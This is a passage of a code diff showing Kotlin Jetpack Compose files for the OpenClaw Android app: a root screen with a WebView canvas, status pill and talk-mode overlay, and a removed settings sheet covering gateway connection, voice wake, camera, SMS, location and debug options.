import androidx.compose.material3.LocalContentColor
import androidx.compose.material3.MaterialTheme
import androidx.compose.material3.ModalBottomSheet
import androidx.compose.material3.rememberModalBottomSheetState
import androidx.compose.material.icons.Icons
import androidx.compose.material.icons.automirrored.filled.ScreenShare
import androidx.compose.material.icons.filled.ChatBubble
import androidx.compose.material.icons.filled.CheckCircle
import androidx.compose.material.icons.filled.Error
import androidx.compose.material.icons.filled.FiberManualRecord
import androidx.compose.material.icons.filled.PhotoCamera
import androidx.compose.material.icons.filled.RecordVoiceOver
import androidx.compose.material.icons.filled.Refresh
import androidx.compose.material.icons.filled.Report
import androidx.compose.material.icons.filled.Settings
import androidx.compose.runtime.Composable
import androidx.compose.runtime.collectAsState
import androidx.compose.runtime.getValue
import androidx.compose.runtime.mutableStateOf
import androidx.compose.runtime.remember
import androidx.compose.runtime.setValue
import androidx.compose.ui.Alignment
import androidx.compose.ui.Modifier
import androidx.compose.ui.graphics.Color as ComposeColor
import androidx.compose.ui.graphics.lerp
import androidx.compose.ui.platform.LocalContext
import androidx.compose.ui.unit.dp
import androidx.compose.ui.viewinterop.AndroidView
import androidx.compose.ui.window.Popup
import androidx.compose.ui.window.PopupProperties
import androidx.core.content.ContextCompat
import ai.openclaw.android.CameraHudKind
import ai.openclaw.android.MainViewModel
@OptIn(ExperimentalMaterial3Api::class)
@Composable
fun RootScreen(viewModel: MainViewModel) {
var sheet by remember { mutableStateOf<Sheet?>(null) }
val sheetState = rememberModalBottomSheetState(skipPartiallyExpanded = true)
val safeOverlayInsets = WindowInsets.safeDrawing.only(WindowInsetsSides.Top + WindowInsetsSides.Horizontal)
val context = LocalContext.current
val serverName by viewModel.serverName.collectAsState()
val statusText by viewModel.statusText.collectAsState()
val cameraHud by viewModel.cameraHud.collectAsState()
val cameraFlashToken by viewModel.cameraFlashToken.collectAsState()
val screenRecordActive by viewModel.screenRecordActive.collectAsState()
val isForeground by viewModel.isForeground.collectAsState()
val voiceWakeStatusText by viewModel.voiceWakeStatusText.collectAsState()
val talkEnabled by viewModel.talkEnabled.collectAsState()
val talkStatusText by viewModel.talkStatusText.collectAsState()
val talkIsListening by viewModel.talkIsListening.collectAsState()
val talkIsSpeaking by viewModel.talkIsSpeaking.collectAsState()
val seamColorArgb by viewModel.seamColorArgb.collectAsState()
val seamColor = remember(seamColorArgb) { ComposeColor(seamColorArgb) }
val audioPermissionLauncher =
rememberLauncherForActivityResult(ActivityResultContracts.RequestPermission()) { granted ->
if (granted) viewModel.setTalkEnabled(true)
}
val activity =
remember(cameraHud, screenRecordActive, isForeground, statusText, voiceWakeStatusText) {
// Status pill owns transient activity state so it doesn't overlap the connection indicator.
if (!isForeground) {
return@remember StatusActivity(
title = "Foreground required",
icon = Icons.Default.Report,
contentDescription = "Foreground required",
)
}
val lowerStatus = statusText.lowercase()
if (lowerStatus.contains("repair")) {
return@remember StatusActivity(
title = "Repairing…",
icon = Icons.Default.Refresh,
contentDescription = "Repairing",
)
}
if (lowerStatus.contains("pairing") || lowerStatus.contains("approval")) {
return@remember StatusActivity(
title = "Approval pending",
icon = Icons.Default.RecordVoiceOver,
contentDescription = "Approval pending",
)
}
// Avoid duplicating the primary gateway status ("Connecting…") in the activity slot.
if (screenRecordActive) {
return@remember StatusActivity(
title = "Recording screen…",
icon = Icons.AutoMirrored.Filled.ScreenShare,
contentDescription = "Recording screen",
tint = androidx.compose.ui.graphics.Color.Red,
)
}
cameraHud?.let { hud ->
return@remember when (hud.kind) {
CameraHudKind.Photo ->
StatusActivity(
title = hud.message,
icon = Icons.Default.PhotoCamera,
contentDescription = "Taking photo",
)
CameraHudKind.Recording ->
StatusActivity(
title = hud.message,
icon = Icons.Default.FiberManualRecord,
contentDescription = "Recording",
tint = androidx.compose.ui.graphics.Color.Red,
)
CameraHudKind.Success ->
StatusActivity(
title = hud.message,
icon = Icons.Default.CheckCircle,
contentDescription = "Capture finished",
)
CameraHudKind.Error ->
StatusActivity(
title = hud.message,
icon = Icons.Default.Error,
contentDescription = "Capture failed",
tint = androidx.compose.ui.graphics.Color.Red,
)
}
}
if (voiceWakeStatusText.contains("Microphone permission", ignoreCase = true)) {
return@remember StatusActivity(
title = "Mic permission",
icon = Icons.Default.Error,
contentDescription = "Mic permission required",
)
}
if (voiceWakeStatusText == "Paused") {
val suffix = if (!isForeground) " (background)" else ""
return@remember StatusActivity(
title = "Voice Wake paused$suffix",
icon = Icons.Default.RecordVoiceOver,
contentDescription = "Voice Wake paused",
)
}
null
}
val gatewayState =
remember(serverName, statusText) {
when {
serverName != null -> GatewayState.Connected
statusText.contains("connecting", ignoreCase = true) ||
statusText.contains("reconnecting", ignoreCase = true) -> GatewayState.Connecting
statusText.contains("error", ignoreCase = true) -> GatewayState.Error
else -> GatewayState.Disconnected
}
}
val voiceEnabled =
ContextCompat.checkSelfPermission(context, Manifest.permission.RECORD_AUDIO) ==
PackageManager.PERMISSION_GRANTED
Box(modifier = Modifier.fillMaxSize()) {
CanvasView(viewModel = viewModel, modifier = Modifier.fillMaxSize())
}
// Camera flash must be in a Popup to render above the WebView.
Popup(alignment = Alignment.Center, properties = PopupProperties(focusable = false)) {
CameraFlashOverlay(token = cameraFlashToken, modifier = Modifier.fillMaxSize())
}
// Keep the overlay buttons above the WebView canvas (AndroidView), otherwise they may not receive touches.
Popup(alignment = Alignment.TopStart, properties = PopupProperties(focusable = false)) {
StatusPill(
gateway = gatewayState,
voiceEnabled = voiceEnabled,
activity = activity,
onClick = { sheet = Sheet.Settings },
modifier = Modifier.windowInsetsPadding(safeOverlayInsets).padding(start = 12.dp, top = 12.dp),
)
}
Popup(alignment = Alignment.TopEnd, properties = PopupProperties(focusable = false)) {
Column(
modifier = Modifier.windowInsetsPadding(safeOverlayInsets).padding(end = 12.dp, top = 12.dp),
verticalArrangement = Arrangement.spacedBy(10.dp),
horizontalAlignment = Alignment.End,
) {
OverlayIconButton(
onClick = { sheet = Sheet.Chat },
icon = { Icon(Icons.Default.ChatBubble, contentDescription = "Chat") },
)
// Talk mode gets a dedicated side bubble instead of burying it in settings.
val baseOverlay = overlayContainerColor()
val talkContainer =
lerp(
baseOverlay,
seamColor.copy(alpha = baseOverlay.alpha),
if (talkEnabled) 0.35f else 0.22f,
)
val talkContent = if (talkEnabled) seamColor else overlayIconColor()
OverlayIconButton(
onClick = {
val next = !talkEnabled
if (next) {
val micOk =
ContextCompat.checkSelfPermission(context, Manifest.permission.RECORD_AUDIO) ==
PackageManager.PERMISSION_GRANTED
if (!micOk) audioPermissionLauncher.launch(Manifest.permission.RECORD_AUDIO)
viewModel.setTalkEnabled(true)
} else {
viewModel.setTalkEnabled(false)
}
},
containerColor = talkContainer,
contentColor = talkContent,
icon = {
Icon(
Icons.Default.RecordVoiceOver,
contentDescription = "Talk Mode",
)
},
)
OverlayIconButton(
onClick = { sheet = Sheet.Settings },
icon = { Icon(Icons.Default.Settings, contentDescription = "Settings") },
)
}
}
if (talkEnabled) {
Popup(alignment = Alignment.Center, properties = PopupProperties(focusable = false)) {
TalkOrbOverlay(
seamColor = seamColor,
statusText = talkStatusText,
isListening = talkIsListening,
isSpeaking = talkIsSpeaking,
)
}
}
val currentSheet = sheet
if (currentSheet != null) {
ModalBottomSheet(
onDismissRequest = { sheet = null },
sheetState = sheetState,
) {
when (currentSheet) {
Sheet.Chat -> ChatSheet(viewModel = viewModel)
Sheet.Settings -> SettingsSheet(viewModel = viewModel)
}
}
}
}
private enum class Sheet {
Chat,
Settings,
}
@Composable
private fun OverlayIconButton(
onClick: () -> Unit,
icon: @Composable () -> Unit,
containerColor: ComposeColor? = null,
contentColor: ComposeColor? = null,
) {
FilledTonalIconButton(
onClick = onClick,
modifier = Modifier.size(44.dp),
colors =
IconButtonDefaults.filledTonalIconButtonColors(
containerColor = containerColor ?: overlayContainerColor(),
contentColor = contentColor ?: overlayIconColor(),
),
) {
icon()
}
}
@SuppressLint("SetJavaScriptEnabled")
@Composable
private fun CanvasView(viewModel: MainViewModel, modifier: Modifier = Modifier) {
val context = LocalContext.current
val isDebuggable = (context.applicationInfo.flags and android.content.pm.ApplicationInfo.FLAG_DEBUGGABLE) != 0
AndroidView(
modifier = modifier,
factory = {
WebView(context).apply {
settings.javaScriptEnabled = true
// Some embedded web UIs (incl. the "background website") use localStorage/sessionStorage.
settings.domStorageEnabled = true
settings.mixedContentMode = WebSettings.MIXED_CONTENT_COMPATIBILITY_MODE
if (WebViewFeature.isFeatureSupported(WebViewFeature.ALGORITHMIC_DARKENING)) {
WebSettingsCompat.setAlgorithmicDarkeningAllowed(settings, false)
} else {
disableForceDarkIfSupported(settings)
}
if (isDebuggable) {
Log.d("OpenClawWebView", "userAgent: ${settings.userAgentString}")
}
isScrollContainer = true
overScrollMode = View.OVER_SCROLL_IF_CONTENT_SCROLLS
isVerticalScrollBarEnabled = true
isHorizontalScrollBarEnabled = true
webViewClient =
object : WebViewClient() {
override fun onReceivedError(
view: WebView,
request: WebResourceRequest,
error: WebResourceError,
) {
if (!isDebuggable) return
if (!request.isForMainFrame) return
Log.e("OpenClawWebView", "onReceivedError: ${error.errorCode} ${error.description} ${request.url}")
}
override fun onReceivedHttpError(
view: WebView,
request: WebResourceRequest,
errorResponse: WebResourceResponse,
) {
if (!isDebuggable) return
if (!request.isForMainFrame) return
Log.e(
"OpenClawWebView",
"onReceivedHttpError: ${errorResponse.statusCode} ${errorResponse.reasonPhrase} ${request.url}",
)
}
override fun onPageFinished(view: WebView, url: String?) {
if (isDebuggable) {
Log.d("OpenClawWebView", "onPageFinished: $url")
}
viewModel.canvas.onPageFinished()
}
override fun onRenderProcessGone(
view: WebView,
detail: android.webkit.RenderProcessGoneDetail,
): Boolean {
if (isDebuggable) {
Log.e(
"OpenClawWebView",
"onRenderProcessGone didCrash=${detail.didCrash()} priorityAtExit=${detail.rendererPriorityAtExit()}",
)
}
return true
}
}
webChromeClient =
object : WebChromeClient() {
override fun onConsoleMessage(consoleMessage: ConsoleMessage?): Boolean {
if (!isDebuggable) return false
val msg = consoleMessage ?: return false
Log.d(
"OpenClawWebView",
"console ${msg.messageLevel()} @ ${msg.sourceId()}:${msg.lineNumber()} ${msg.message()}",
)
return false
}
}
// Use default layer/background; avoid forcing a black fill over WebView content.
val a2uiBridge =
CanvasA2UIActionBridge { payload ->
viewModel.handleCanvasA2UIActionFromWebView(payload)
}
addJavascriptInterface(a2uiBridge, CanvasA2UIActionBridge.interfaceName)
viewModel.canvas.attach(this)
}
},
)
}
private fun disableForceDarkIfSupported(settings: WebSettings) {
if (!WebViewFeature.isFeatureSupported(WebViewFeature.FORCE_DARK)) return
@Suppress("DEPRECATION")
WebSettingsCompat.setForceDark(settings, WebSettingsCompat.FORCE_DARK_OFF)
}
private class CanvasA2UIActionBridge(private val onMessage: (String) -> Unit) {
@JavascriptInterface
fun postMessage(payload: String?) {
val msg = payload?.trim().orEmpty()
if (msg.isEmpty()) return
onMessage(msg)
}
companion object {
const val interfaceName: String = "openclawCanvasA2UIAction"
}
}

View File

@@ -1,686 +0,0 @@
package ai.openclaw.android.ui
import android.Manifest
import android.content.Context
import android.content.Intent
import android.content.pm.PackageManager
import android.net.Uri
import android.os.Build
import android.provider.Settings
import androidx.activity.compose.rememberLauncherForActivityResult
import androidx.activity.result.contract.ActivityResultContracts
import androidx.compose.animation.AnimatedVisibility
import androidx.compose.foundation.clickable
import androidx.compose.foundation.layout.Arrangement
import androidx.compose.foundation.layout.Column
import androidx.compose.foundation.layout.PaddingValues
import androidx.compose.foundation.layout.Row
import androidx.compose.foundation.layout.Spacer
import androidx.compose.foundation.layout.WindowInsets
import androidx.compose.foundation.layout.WindowInsetsSides
import androidx.compose.foundation.layout.fillMaxHeight
import androidx.compose.foundation.layout.fillMaxWidth
import androidx.compose.foundation.layout.height
import androidx.compose.foundation.layout.imePadding
import androidx.compose.foundation.layout.only
import androidx.compose.foundation.layout.safeDrawing
import androidx.compose.foundation.layout.windowInsetsPadding
import androidx.compose.foundation.lazy.LazyColumn
import androidx.compose.foundation.lazy.items
import androidx.compose.foundation.lazy.rememberLazyListState
import androidx.compose.foundation.text.KeyboardActions
import androidx.compose.foundation.text.KeyboardOptions
import androidx.compose.material.icons.Icons
import androidx.compose.material.icons.filled.ExpandLess
import androidx.compose.material.icons.filled.ExpandMore
import androidx.compose.material3.Button
import androidx.compose.material3.HorizontalDivider
import androidx.compose.material3.Icon
import androidx.compose.material3.ListItem
import androidx.compose.material3.MaterialTheme
import androidx.compose.material3.OutlinedTextField
import androidx.compose.material3.RadioButton
import androidx.compose.material3.Switch
import androidx.compose.material3.Text
import androidx.compose.runtime.Composable
import androidx.compose.runtime.LaunchedEffect
import androidx.compose.runtime.collectAsState
import androidx.compose.runtime.getValue
import androidx.compose.runtime.mutableStateOf
import androidx.compose.runtime.remember
import androidx.compose.runtime.setValue
import androidx.compose.ui.Modifier
import androidx.compose.ui.draw.alpha
import androidx.compose.ui.focus.onFocusChanged
import androidx.compose.ui.platform.LocalContext
import androidx.compose.ui.platform.LocalFocusManager
import androidx.compose.ui.text.input.ImeAction
import androidx.compose.ui.text.style.TextAlign
import androidx.compose.ui.unit.dp
import androidx.core.content.ContextCompat
import ai.openclaw.android.BuildConfig
import ai.openclaw.android.LocationMode
import ai.openclaw.android.MainViewModel
import ai.openclaw.android.NodeForegroundService
import ai.openclaw.android.VoiceWakeMode
import ai.openclaw.android.WakeWords
@Composable
fun SettingsSheet(viewModel: MainViewModel) {
val context = LocalContext.current
val instanceId by viewModel.instanceId.collectAsState()
val displayName by viewModel.displayName.collectAsState()
val cameraEnabled by viewModel.cameraEnabled.collectAsState()
val locationMode by viewModel.locationMode.collectAsState()
val locationPreciseEnabled by viewModel.locationPreciseEnabled.collectAsState()
val preventSleep by viewModel.preventSleep.collectAsState()
val wakeWords by viewModel.wakeWords.collectAsState()
val voiceWakeMode by viewModel.voiceWakeMode.collectAsState()
val voiceWakeStatusText by viewModel.voiceWakeStatusText.collectAsState()
val isConnected by viewModel.isConnected.collectAsState()
val manualEnabled by viewModel.manualEnabled.collectAsState()
val manualHost by viewModel.manualHost.collectAsState()
val manualPort by viewModel.manualPort.collectAsState()
val manualTls by viewModel.manualTls.collectAsState()
val canvasDebugStatusEnabled by viewModel.canvasDebugStatusEnabled.collectAsState()
val statusText by viewModel.statusText.collectAsState()
val serverName by viewModel.serverName.collectAsState()
val remoteAddress by viewModel.remoteAddress.collectAsState()
val gateways by viewModel.gateways.collectAsState()
val discoveryStatusText by viewModel.discoveryStatusText.collectAsState()
val listState = rememberLazyListState()
val (wakeWordsText, setWakeWordsText) = remember { mutableStateOf("") }
val (advancedExpanded, setAdvancedExpanded) = remember { mutableStateOf(false) }
val focusManager = LocalFocusManager.current
var wakeWordsHadFocus by remember { mutableStateOf(false) }
val deviceModel =
remember {
listOfNotNull(Build.MANUFACTURER, Build.MODEL)
.joinToString(" ")
.trim()
.ifEmpty { "Android" }
}
val appVersion =
remember {
val versionName = BuildConfig.VERSION_NAME.trim().ifEmpty { "dev" }
if (BuildConfig.DEBUG && !versionName.contains("dev", ignoreCase = true)) {
"$versionName-dev"
} else {
versionName
}
}
LaunchedEffect(wakeWords) { setWakeWordsText(wakeWords.joinToString(", ")) }
val commitWakeWords = {
val parsed = WakeWords.parseIfChanged(wakeWordsText, wakeWords)
if (parsed != null) {
viewModel.setWakeWords(parsed)
}
}
val permissionLauncher =
rememberLauncherForActivityResult(ActivityResultContracts.RequestMultiplePermissions()) { perms ->
val cameraOk = perms[Manifest.permission.CAMERA] == true
viewModel.setCameraEnabled(cameraOk)
}
var pendingLocationMode by remember { mutableStateOf<LocationMode?>(null) }
var pendingPreciseToggle by remember { mutableStateOf(false) }
val locationPermissionLauncher =
rememberLauncherForActivityResult(ActivityResultContracts.RequestMultiplePermissions()) { perms ->
val fineOk = perms[Manifest.permission.ACCESS_FINE_LOCATION] == true
val coarseOk = perms[Manifest.permission.ACCESS_COARSE_LOCATION] == true
val granted = fineOk || coarseOk
val requestedMode = pendingLocationMode
pendingLocationMode = null
if (pendingPreciseToggle) {
pendingPreciseToggle = false
viewModel.setLocationPreciseEnabled(fineOk)
return@rememberLauncherForActivityResult
}
if (!granted) {
viewModel.setLocationMode(LocationMode.Off)
return@rememberLauncherForActivityResult
}
if (requestedMode != null) {
viewModel.setLocationMode(requestedMode)
if (requestedMode == LocationMode.Always) {
val backgroundOk =
ContextCompat.checkSelfPermission(context, Manifest.permission.ACCESS_BACKGROUND_LOCATION) ==
PackageManager.PERMISSION_GRANTED
if (!backgroundOk) {
openAppSettings(context)
}
}
}
}
val audioPermissionLauncher =
rememberLauncherForActivityResult(ActivityResultContracts.RequestPermission()) { _ ->
// Status text is handled by NodeRuntime.
}
val smsPermissionAvailable =
remember {
context.packageManager?.hasSystemFeature(PackageManager.FEATURE_TELEPHONY) == true
}
var smsPermissionGranted by
remember {
mutableStateOf(
ContextCompat.checkSelfPermission(context, Manifest.permission.SEND_SMS) ==
PackageManager.PERMISSION_GRANTED,
)
}
val smsPermissionLauncher =
rememberLauncherForActivityResult(ActivityResultContracts.RequestPermission()) { granted ->
smsPermissionGranted = granted
viewModel.refreshGatewayConnection()
}
fun setCameraEnabledChecked(checked: Boolean) {
if (!checked) {
viewModel.setCameraEnabled(false)
return
}
val cameraOk =
ContextCompat.checkSelfPermission(context, Manifest.permission.CAMERA) ==
PackageManager.PERMISSION_GRANTED
if (cameraOk) {
viewModel.setCameraEnabled(true)
} else {
permissionLauncher.launch(arrayOf(Manifest.permission.CAMERA, Manifest.permission.RECORD_AUDIO))
}
}
fun requestLocationPermissions(targetMode: LocationMode) {
val fineOk =
ContextCompat.checkSelfPermission(context, Manifest.permission.ACCESS_FINE_LOCATION) ==
PackageManager.PERMISSION_GRANTED
val coarseOk =
ContextCompat.checkSelfPermission(context, Manifest.permission.ACCESS_COARSE_LOCATION) ==
PackageManager.PERMISSION_GRANTED
if (fineOk || coarseOk) {
viewModel.setLocationMode(targetMode)
if (targetMode == LocationMode.Always) {
val backgroundOk =
ContextCompat.checkSelfPermission(context, Manifest.permission.ACCESS_BACKGROUND_LOCATION) ==
PackageManager.PERMISSION_GRANTED
if (!backgroundOk) {
openAppSettings(context)
}
}
} else {
pendingLocationMode = targetMode
locationPermissionLauncher.launch(
arrayOf(Manifest.permission.ACCESS_FINE_LOCATION, Manifest.permission.ACCESS_COARSE_LOCATION),
)
}
}
fun setPreciseLocationChecked(checked: Boolean) {
if (!checked) {
viewModel.setLocationPreciseEnabled(false)
return
}
val fineOk =
ContextCompat.checkSelfPermission(context, Manifest.permission.ACCESS_FINE_LOCATION) ==
PackageManager.PERMISSION_GRANTED
if (fineOk) {
viewModel.setLocationPreciseEnabled(true)
} else {
pendingPreciseToggle = true
locationPermissionLauncher.launch(arrayOf(Manifest.permission.ACCESS_FINE_LOCATION))
}
}
val visibleGateways =
if (isConnected && remoteAddress != null) {
gateways.filterNot { "${it.host}:${it.port}" == remoteAddress }
} else {
gateways
}
val gatewayDiscoveryFooterText =
if (visibleGateways.isEmpty()) {
discoveryStatusText
} else if (isConnected) {
"Discovery active • ${visibleGateways.size} other gateway${if (visibleGateways.size == 1) "" else "s"} found"
} else {
"Discovery active • ${visibleGateways.size} gateway${if (visibleGateways.size == 1) "" else "s"} found"
}
LazyColumn(
state = listState,
modifier =
Modifier
.fillMaxWidth()
.fillMaxHeight()
.imePadding()
.windowInsetsPadding(WindowInsets.safeDrawing.only(WindowInsetsSides.Bottom)),
contentPadding = PaddingValues(16.dp),
verticalArrangement = Arrangement.spacedBy(6.dp),
) {
// Order parity: Node → Gateway → Voice → Camera → Messaging → Location → Screen.
item { Text("Node", style = MaterialTheme.typography.titleSmall) }
item {
OutlinedTextField(
value = displayName,
onValueChange = viewModel::setDisplayName,
label = { Text("Name") },
modifier = Modifier.fillMaxWidth(),
)
}
item { Text("Instance ID: $instanceId", color = MaterialTheme.colorScheme.onSurfaceVariant) }
item { Text("Device: $deviceModel", color = MaterialTheme.colorScheme.onSurfaceVariant) }
item { Text("Version: $appVersion", color = MaterialTheme.colorScheme.onSurfaceVariant) }
item { HorizontalDivider() }
// Gateway
item { Text("Gateway", style = MaterialTheme.typography.titleSmall) }
item { ListItem(headlineContent = { Text("Status") }, supportingContent = { Text(statusText) }) }
if (serverName != null) {
item { ListItem(headlineContent = { Text("Server") }, supportingContent = { Text(serverName!!) }) }
}
if (remoteAddress != null) {
item { ListItem(headlineContent = { Text("Address") }, supportingContent = { Text(remoteAddress!!) }) }
}
item {
// UI sanity: "Disconnect" only when we have an active remote.
if (isConnected && remoteAddress != null) {
Button(
onClick = {
viewModel.disconnect()
NodeForegroundService.stop(context)
},
) {
Text("Disconnect")
}
}
}
item { HorizontalDivider() }
if (!isConnected || visibleGateways.isNotEmpty()) {
item {
Text(
if (isConnected) "Other Gateways" else "Discovered Gateways",
style = MaterialTheme.typography.titleSmall,
)
}
if (!isConnected && visibleGateways.isEmpty()) {
item { Text("No gateways found yet.", color = MaterialTheme.colorScheme.onSurfaceVariant) }
} else {
items(items = visibleGateways, key = { it.stableId }) { gateway ->
val detailLines =
buildList {
add("IP: ${gateway.host}:${gateway.port}")
gateway.lanHost?.let { add("LAN: $it") }
gateway.tailnetDns?.let { add("Tailnet: $it") }
if (gateway.gatewayPort != null || gateway.canvasPort != null) {
val gw = (gateway.gatewayPort ?: gateway.port).toString()
val canvas = gateway.canvasPort?.toString() ?: ""
add("Ports: gw $gw · canvas $canvas")
}
}
ListItem(
headlineContent = { Text(gateway.name) },
supportingContent = {
Column(verticalArrangement = Arrangement.spacedBy(2.dp)) {
detailLines.forEach { line ->
Text(line, color = MaterialTheme.colorScheme.onSurfaceVariant)
}
}
},
trailingContent = {
Button(
onClick = {
NodeForegroundService.start(context)
viewModel.connect(gateway)
},
) {
Text("Connect")
}
},
)
}
}
item {
Text(
gatewayDiscoveryFooterText,
modifier = Modifier.fillMaxWidth(),
textAlign = TextAlign.Center,
style = MaterialTheme.typography.labelMedium,
color = MaterialTheme.colorScheme.onSurfaceVariant,
)
}
}
item { HorizontalDivider() }
item {
ListItem(
headlineContent = { Text("Advanced") },
supportingContent = { Text("Manual gateway connection") },
trailingContent = {
Icon(
imageVector = if (advancedExpanded) Icons.Filled.ExpandLess else Icons.Filled.ExpandMore,
contentDescription = if (advancedExpanded) "Collapse" else "Expand",
)
},
modifier =
Modifier.clickable {
setAdvancedExpanded(!advancedExpanded)
},
)
}
item {
AnimatedVisibility(visible = advancedExpanded) {
Column(verticalArrangement = Arrangement.spacedBy(10.dp), modifier = Modifier.fillMaxWidth()) {
ListItem(
headlineContent = { Text("Use Manual Gateway") },
supportingContent = { Text("Use this when discovery is blocked.") },
trailingContent = { Switch(checked = manualEnabled, onCheckedChange = viewModel::setManualEnabled) },
)
OutlinedTextField(
value = manualHost,
onValueChange = viewModel::setManualHost,
label = { Text("Host") },
modifier = Modifier.fillMaxWidth(),
enabled = manualEnabled,
)
OutlinedTextField(
value = manualPort.toString(),
onValueChange = { v -> viewModel.setManualPort(v.toIntOrNull() ?: 0) },
label = { Text("Port") },
modifier = Modifier.fillMaxWidth(),
enabled = manualEnabled,
)
ListItem(
headlineContent = { Text("Require TLS") },
supportingContent = { Text("Pin the gateway certificate on first connect.") },
trailingContent = { Switch(checked = manualTls, onCheckedChange = viewModel::setManualTls, enabled = manualEnabled) },
modifier = Modifier.alpha(if (manualEnabled) 1f else 0.5f),
)
val hostOk = manualHost.trim().isNotEmpty()
val portOk = manualPort in 1..65535
Button(
onClick = {
NodeForegroundService.start(context)
viewModel.connectManual()
},
enabled = manualEnabled && hostOk && portOk,
) {
Text("Connect (Manual)")
}
}
}
}
item { HorizontalDivider() }
// Voice
item { Text("Voice", style = MaterialTheme.typography.titleSmall) }
item {
val enabled = voiceWakeMode != VoiceWakeMode.Off
ListItem(
headlineContent = { Text("Voice Wake") },
supportingContent = { Text(voiceWakeStatusText) },
trailingContent = {
Switch(
checked = enabled,
onCheckedChange = { on ->
if (on) {
val micOk =
ContextCompat.checkSelfPermission(context, Manifest.permission.RECORD_AUDIO) ==
PackageManager.PERMISSION_GRANTED
if (!micOk) audioPermissionLauncher.launch(Manifest.permission.RECORD_AUDIO)
viewModel.setVoiceWakeMode(VoiceWakeMode.Foreground)
} else {
viewModel.setVoiceWakeMode(VoiceWakeMode.Off)
}
},
)
},
)
}
item {
AnimatedVisibility(visible = voiceWakeMode != VoiceWakeMode.Off) {
Column(verticalArrangement = Arrangement.spacedBy(6.dp), modifier = Modifier.fillMaxWidth()) {
ListItem(
headlineContent = { Text("Foreground Only") },
supportingContent = { Text("Listens only while OpenClaw is open.") },
trailingContent = {
RadioButton(
selected = voiceWakeMode == VoiceWakeMode.Foreground,
onClick = {
val micOk =
ContextCompat.checkSelfPermission(context, Manifest.permission.RECORD_AUDIO) ==
PackageManager.PERMISSION_GRANTED
if (!micOk) audioPermissionLauncher.launch(Manifest.permission.RECORD_AUDIO)
viewModel.setVoiceWakeMode(VoiceWakeMode.Foreground)
},
)
},
)
ListItem(
headlineContent = { Text("Always") },
supportingContent = { Text("Keeps listening in the background (shows a persistent notification).") },
trailingContent = {
RadioButton(
selected = voiceWakeMode == VoiceWakeMode.Always,
onClick = {
val micOk =
ContextCompat.checkSelfPermission(context, Manifest.permission.RECORD_AUDIO) ==
PackageManager.PERMISSION_GRANTED
if (!micOk) audioPermissionLauncher.launch(Manifest.permission.RECORD_AUDIO)
viewModel.setVoiceWakeMode(VoiceWakeMode.Always)
},
)
},
)
}
}
}
item {
OutlinedTextField(
value = wakeWordsText,
onValueChange = setWakeWordsText,
label = { Text("Wake Words (comma-separated)") },
modifier =
Modifier.fillMaxWidth().onFocusChanged { focusState ->
if (focusState.isFocused) {
wakeWordsHadFocus = true
} else if (wakeWordsHadFocus) {
wakeWordsHadFocus = false
commitWakeWords()
}
},
singleLine = true,
keyboardOptions = KeyboardOptions(imeAction = ImeAction.Done),
keyboardActions =
KeyboardActions(
onDone = {
commitWakeWords()
focusManager.clearFocus()
},
),
)
}
item { Button(onClick = viewModel::resetWakeWordsDefaults) { Text("Reset defaults") } }
item {
Text(
if (isConnected) {
"Any node can edit wake words. Changes sync via the gateway."
} else {
"Connect to a gateway to sync wake words globally."
},
color = MaterialTheme.colorScheme.onSurfaceVariant,
)
}
item { HorizontalDivider() }
// Camera
item { Text("Camera", style = MaterialTheme.typography.titleSmall) }
item {
ListItem(
headlineContent = { Text("Allow Camera") },
supportingContent = { Text("Allows the gateway to request photos or short video clips (foreground only).") },
trailingContent = { Switch(checked = cameraEnabled, onCheckedChange = ::setCameraEnabledChecked) },
)
}
item {
Text(
"Tip: grant Microphone permission for video clips with audio.",
color = MaterialTheme.colorScheme.onSurfaceVariant,
)
}
item { HorizontalDivider() }
// Messaging
item { Text("Messaging", style = MaterialTheme.typography.titleSmall) }
item {
val buttonLabel =
when {
!smsPermissionAvailable -> "Unavailable"
smsPermissionGranted -> "Manage"
else -> "Grant"
}
ListItem(
headlineContent = { Text("SMS Permission") },
supportingContent = {
Text(
if (smsPermissionAvailable) {
"Allow the gateway to send SMS from this device."
} else {
"SMS requires a device with telephony hardware."
},
)
},
trailingContent = {
Button(
onClick = {
if (!smsPermissionAvailable) return@Button
if (smsPermissionGranted) {
openAppSettings(context)
} else {
smsPermissionLauncher.launch(Manifest.permission.SEND_SMS)
}
},
enabled = smsPermissionAvailable,
) {
Text(buttonLabel)
}
},
)
}
item { HorizontalDivider() }
// Location
item { Text("Location", style = MaterialTheme.typography.titleSmall) }
item {
Column(verticalArrangement = Arrangement.spacedBy(6.dp), modifier = Modifier.fillMaxWidth()) {
ListItem(
headlineContent = { Text("Off") },
supportingContent = { Text("Disable location sharing.") },
trailingContent = {
RadioButton(
selected = locationMode == LocationMode.Off,
onClick = { viewModel.setLocationMode(LocationMode.Off) },
)
},
)
ListItem(
headlineContent = { Text("While Using") },
supportingContent = { Text("Only while OpenClaw is open.") },
trailingContent = {
RadioButton(
selected = locationMode == LocationMode.WhileUsing,
onClick = { requestLocationPermissions(LocationMode.WhileUsing) },
)
},
)
ListItem(
headlineContent = { Text("Always") },
supportingContent = { Text("Allow background location (requires system permission).") },
trailingContent = {
RadioButton(
selected = locationMode == LocationMode.Always,
onClick = { requestLocationPermissions(LocationMode.Always) },
)
},
)
}
}
item {
ListItem(
headlineContent = { Text("Precise Location") },
supportingContent = { Text("Use precise GPS when available.") },
trailingContent = {
Switch(
checked = locationPreciseEnabled,
onCheckedChange = ::setPreciseLocationChecked,
enabled = locationMode != LocationMode.Off,
)
},
)
}
item {
Text(
"Always may require Android Settings to allow background location.",
color = MaterialTheme.colorScheme.onSurfaceVariant,
)
}
item { HorizontalDivider() }
// Screen
item { Text("Screen", style = MaterialTheme.typography.titleSmall) }
item {
ListItem(
headlineContent = { Text("Prevent Sleep") },
supportingContent = { Text("Keeps the screen awake while OpenClaw is open.") },
trailingContent = { Switch(checked = preventSleep, onCheckedChange = viewModel::setPreventSleep) },
)
}
item { HorizontalDivider() }
// Debug
item { Text("Debug", style = MaterialTheme.typography.titleSmall) }
item {
ListItem(
headlineContent = { Text("Debug Canvas Status") },
supportingContent = { Text("Show status text in the canvas when debug is enabled.") },
trailingContent = {
Switch(
checked = canvasDebugStatusEnabled,
onCheckedChange = viewModel::setCanvasDebugStatusEnabled,
)
},
)
}
item { Spacer(modifier = Modifier.height(20.dp)) }
}
}
private fun openAppSettings(context: Context) {
val intent =
Intent(
Settings.ACTION_APPLICATION_DETAILS_SETTINGS,
Uri.fromParts("package", context.packageName, null),
)
context.startActivity(intent)
}

View File

@@ -1,114 +0,0 @@
package ai.openclaw.android.ui
import androidx.compose.foundation.layout.Arrangement
import androidx.compose.foundation.layout.Row
